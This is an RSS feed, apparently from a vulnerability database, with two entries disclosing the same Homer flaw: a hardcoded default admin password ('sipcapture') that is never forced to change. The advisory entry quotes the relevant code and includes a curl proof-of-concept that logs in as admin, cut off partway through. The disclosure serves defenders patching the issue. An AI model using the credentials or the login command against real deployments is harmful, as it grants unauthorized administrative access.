<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 08 Oct 2026 18:23:18 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-62252</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-62252</link>
      <description>&lt;p&gt;Homer is open source telecom observability software. Prior to version 11.0.283, on every fresh Homer deployment using internal authentication, the bootstrap process automatically creates an `admin` account with the password `sipcapture` (stored as a legacy SHA-256 hex hash). There is no first-login forced-change mechanism. Any attacker who reaches the login endpoint immediately gains full administrative access. Version 11.0.283 patches the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Homer is open source telecom observability software. Prior to version 11.0.283, on every fresh Homer deployment using internal authentication, the bootstrap process automatically creates an `admin` account with the password `sipcapture` (stored as a legacy SHA-256 hex hash). There is no first-login forced-change mechanism. Any attacker who reaches the login endpoint immediately gains full administrative access. Version 11.0.283 patches the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-62252</guid>
    </item>
    <item>
      <title>GHSA-6xp5-7rcx-xfgx — Homer: Hardcoded Default Admin Password 'sipcapture' With No Forced Change on First Login</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-6xp5-7rcx-xfgx</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/sipcapture/homer-app&lt;/p&gt;
&lt;p&gt;### Summary
On every fresh Homer deployment using internal authentication, the bootstrap process automatically creates an `admin` account with the password `sipcapture` (stored as a legacy SHA-256 hex hash). There is no first-login forced-change mechanism. Any attacker who reaches the login endpoint immediately gains full administrative access.&lt;/p&gt;
&lt;p&gt;### Details
**`config/config.go` lines 858-861:**
```go
// DefaultInternalAuthPasswordHash is the SHA-256 hex digest of the default
// bootstrap password (cleartext: sipcapture).
const DefaultInternalAuthPasswordHash = &amp;#34;883ffc1f37fd0fe542b0fb9740035c4383e7d976c411161d24e62edace280f90&amp;#34;
```&lt;/p&gt;
&lt;p&gt;**`coordinator/services/auth_bootstrap.go` lines 20-71:** `EnsureBootstrapAdminUser()` runs at startup. If no admin user exists, it inserts a row with `username=admin`, `password_hash=DefaultInternalAuthPasswordHash`. No `force_change`, no `first_login` flag, no expiry is set.&lt;/p&gt;
&lt;p&gt;**`coordinator/services/auth_bootstrap_test.go` line 114** confirms the plaintext:
```go
u, err := svc.Authenticate(ctx, &amp;#34;admin&amp;#34;, &amp;#34;sipcapture&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;**`passwordhash/password.go` lines 36-45:** Legacy SHA-256 hex hashes are accepted via `legacySHA256HexEqual`, so the default credential is functional on any deployment.&lt;/p&gt;
&lt;p&gt;### PoC
```bash
# Authenticate with default credentials — works on any fresh Homer deployment
curl -s -X POST http://&amp;lt;homer-host&amp;gt;/api/v3/auth \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -d &amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;admin&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;sipcapture&amp;#34;}&amp;#39;
# Response: {&amp;#34;token&amp;#34;:&amp;#34;&amp;lt;ad…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/sipcapture/homer-app&lt;/p&gt;
&lt;p&gt;### Summary
On every fresh Homer deployment using internal authentication, the bootstrap process automatically creates an `admin` account with the password `sipcapture` (stored as a legacy SHA-256 hex hash). There is no first-login forced-change mechanism. Any attacker who reaches the login endpoint immediately gains full administrative access.&lt;/p&gt;
&lt;p&gt;### Details
**`config/config.go` lines 858-861:**
```go
// DefaultInternalAuthPasswordHash is the SHA-256 hex digest of the default
// bootstrap password (cleartext: sipcapture).
const DefaultInternalAuthPasswordHash = &amp;#34;883ffc1f37fd0fe542b0fb9740035c4383e7d976c411161d24e62edace280f90&amp;#34;
```&lt;/p&gt;
&lt;p&gt;**`coordinator/services/auth_bootstrap.go` lines 20-71:** `EnsureBootstrapAdminUser()` runs at startup. If no admin user exists, it inserts a row with `username=admin`, `password_hash=DefaultInternalAuthPasswordHash`. No `force_change`, no `first_login` flag, no expiry is set.&lt;/p&gt;
&lt;p&gt;**`coordinator/services/auth_bootstrap_test.go` line 114** confirms the plaintext:
```go
u, err := svc.Authenticate(ctx, &amp;#34;admin&amp;#34;, &amp;#34;sipcapture&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;**`passwordhash/password.go` lines 36-45:** Legacy SHA-256 hex hashes are accepted via `legacySHA256HexEqual`, so the default credential is functional on any deployment.&lt;/p&gt;
&lt;p&gt;### PoC
```bash
# Authenticate with default credentials — works on any fresh Homer deployment
curl -s -X POST http://&amp;lt;homer-host&amp;gt;/api/v3/auth \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -d &amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;admin&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;sipcapture&amp;#34;}&amp;#39;
# Response: {&amp;#34;token&amp;#34;:&amp;#34;&amp;lt;ad…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-6xp5-7rcx-xfgx</guid>
    </item>
  </channel>
</rss>
